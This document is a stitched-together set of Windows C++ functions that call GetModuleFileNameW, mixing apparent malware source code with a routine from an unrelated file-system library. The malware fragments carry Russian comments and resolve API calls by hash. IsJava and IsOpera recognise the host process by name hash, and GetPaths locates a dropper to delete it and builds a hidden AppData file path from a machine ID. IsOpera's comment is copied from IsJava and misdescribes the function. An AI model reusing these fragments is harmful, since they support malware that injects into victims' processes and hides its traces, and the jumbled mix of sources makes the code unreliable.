bool WINAPI IsJava() { // Функция вернёт истину если она вызвана в процессе // Java.exe или Javaw.exe WCHAR *ModulePath = (WCHAR*)MemAlloc( MAX_PATH ); if ( ModulePath == NULL ) { return false; } pGetModuleFileNameW( NULL, ModulePath, MAX_PATH ); DWORD dwProcessHash = GetNameHash( ModulePath ); OutputDebugStringW(ModulePath); // Java или Javaw if ( dwProcessHash == 0x150CFBD3 || dwProcessHash == 0x1F1AA76A ) { OutputDebugStr("Java process has been found!"); MemFree( ModulePath ); return true; } MemFree( ModulePath ); return false; }
bool WINAPI CheckInCurrentDir( WCHAR *File ) { WCHAR *Directory = (WCHAR*)MemAlloc( 512 ); if ( Directory == NULL ) { return false; } pGetModuleFileNameW( (HMODULE)pGetModuleHandleW( NULL ), Directory, 255 ); for ( DWORD i = m_wcslen( Directory ) - 1; i > 0; i-- ) { if ( Directory[i] == '\\' ) { Directory[i + 1] = '\0'; break; } } plstrcatW( Directory, File ); if ( (DWORD)pGetFileAttributesW( Directory ) != INVALID_FILE_ATTRIBUTES ) { MemFree( Directory ); return true; } MemFree( Directory ); return false; }
static char *getExePath(void) { DWORD buflen = 64; LPWSTR modpath = NULL; char *retval = NULL; while (1) { DWORD rc; void *ptr; if ( !(ptr = allocator.Realloc(modpath, buflen*sizeof(WCHAR))) ) { allocator.Free(modpath); BAIL_MACRO(ERR_OUT_OF_MEMORY, NULL); } /* if */ modpath = (LPWSTR) ptr; rc = pGetModuleFileNameW(NULL, modpath, buflen); if (rc == 0) { allocator.Free(modpath); BAIL_MACRO(winApiStrError(), NULL); } /* if */ if (rc < buflen) { buflen = rc; break; } /* if */ buflen *= 2; } /* while */ if (buflen > 0) /* just in case... */ { WCHAR *ptr = (modpath + buflen) - 1; while (ptr != modpath) { if (*ptr == '\\') break; ptr--; } /* while */ if ((ptr == modpath) && (*ptr != '\\')) __PHYSFS_setError(ERR_GETMODFN_NO_DIR); else { *(ptr + 1) = '\0'; /* chop off filename. */ retval = unicodeToUtf8Heap(modpath); } /* else */ } /* else */ allocator.Free(modpath); return(retval); /* w00t. */ } /* getExePath */
bool WINAPI IsOpera() { // Функция вернёт истину если она вызвана в процессе // Java.exe или Javaw.exe WCHAR *ModulePath = (WCHAR*)MemAlloc( MAX_PATH ); if ( ModulePath == NULL ) return false; pGetModuleFileNameW(NULL, ModulePath, MAX_PATH ); DWORD dwProcessHash = GetNameHash( ModulePath ); bool Result = dwProcessHash == 0x7A38EBF3; /* opera.exe */ MemFree(ModulePath); return Result; }
// // получаем путь к дроперу для его удаления. // VOID GetPaths() { BOOL bUsed; PWCHAR buf = (PWCHAR)MemAlloc(sizeof(WCHAR)*MAX_PATH); if ( buf ) { pGetModuleFileNameW(NULL,buf,MAX_PATH-1); //pOutputDebugStringW(buf); pWideCharToMultiByte(CP_ACP,0,buf,-1,FileToDelete,sizeof(FileToDelete)-1,NULL,&bUsed); //pOutputDebugStringA(FileToDelete); PP_DPRINTF(L"GetPaths: FileToDelete='%S'", FileToDelete); buf[0]= 0; pSHGetSpecialFolderPathW(NULL,buf,CSIDL_COMMON_APPDATA ,TRUE); pWideCharToMultiByte(CP_ACP,0,buf,-1,PathBkFile,sizeof(PathBkFile)-1,NULL,&bUsed); MemFree(buf); m_lstrcat(PathBkFile,"\\"); m_lstrcat(PathBkFile,MakeMachineID()); PP_DPRINTF(L"GetPaths: PathBkFile='%S'",PathBkFile); }; };